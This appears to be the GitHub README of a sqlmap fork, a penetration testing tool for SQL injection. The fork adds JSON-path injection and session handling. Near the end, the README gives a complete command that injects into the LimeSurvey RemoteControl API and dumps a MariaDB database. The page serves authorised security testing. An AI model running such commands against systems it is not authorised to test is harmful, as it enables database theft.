Skip to content
 
 

Repository files navigation

sqlmap

.github/workflows/tests.yml Python 2.7|3.x License x

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.

Screenshots

Screenshot

You can visit the collection of screenshots demonstrating some of the features on the wiki.

Installation

You can download the latest tarball by clicking here or latest zipball by clicking here.

Preferably, you can download sqlmap by cloning the Git repository:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

sqlmap works out of the box with Python version 2.7 and 3.x on any platform.

Usage

To get a list of basic options and switches use:

python sqlmap.py -h

To get a list of all options and switches use:

python sqlmap.py -hh

You can find a sample run here. To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the user's manual.

JSON Enhancements (PoC)

This fork includes advanced support for JSON-based requests and nested parameters, optimized for modern APIs like JSON-RPC.

New Features

  • JSON Path Injection: Specify injection points using JSONPath syntax (e.g., --json-path="$.params[2][0]").
  • Automated Session Management: Automatically handle authentication flows and token refreshing (e.g., --auth-url, --auth-key-path).
  • Boolean-Based JSON Observer: Custom indicators for True/False responses in JSON (e.g., --true-json="$.result len 0").
  • Adaptive Sleep Delay: Reduced false positives in time-based injections via --adaptive-sleep.
  • PoC Reporting: Generate detailed, reproducible PoC reports using --poc-report.

Target Use Case: LimeSurvey RemoteControl API

Example command for injecting into the LimeSurvey RemoteControl API:

python sqlmap.py -u "https://target/index.php/admin/remotecontrol" \
  --method=POST \
  --data='{"method":"mail_registered_participants","params":["SESSION",883455,["*"]],"id":1}' \
  --json-path='$.params[2][0]' \
  --auth-url="https://target/index.php/admin/remotecontrol" \
  --auth-data='{"method":"get_session_key","params":["user","pass"],"id":1}' \
  --auth-key-path='$.result' \
  --batch --technique=T --dbms=mariadb --dump

Links

Translations

About

Automatic SQL injection and database takeover tool

Resources

Code of conduct

Contributing

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages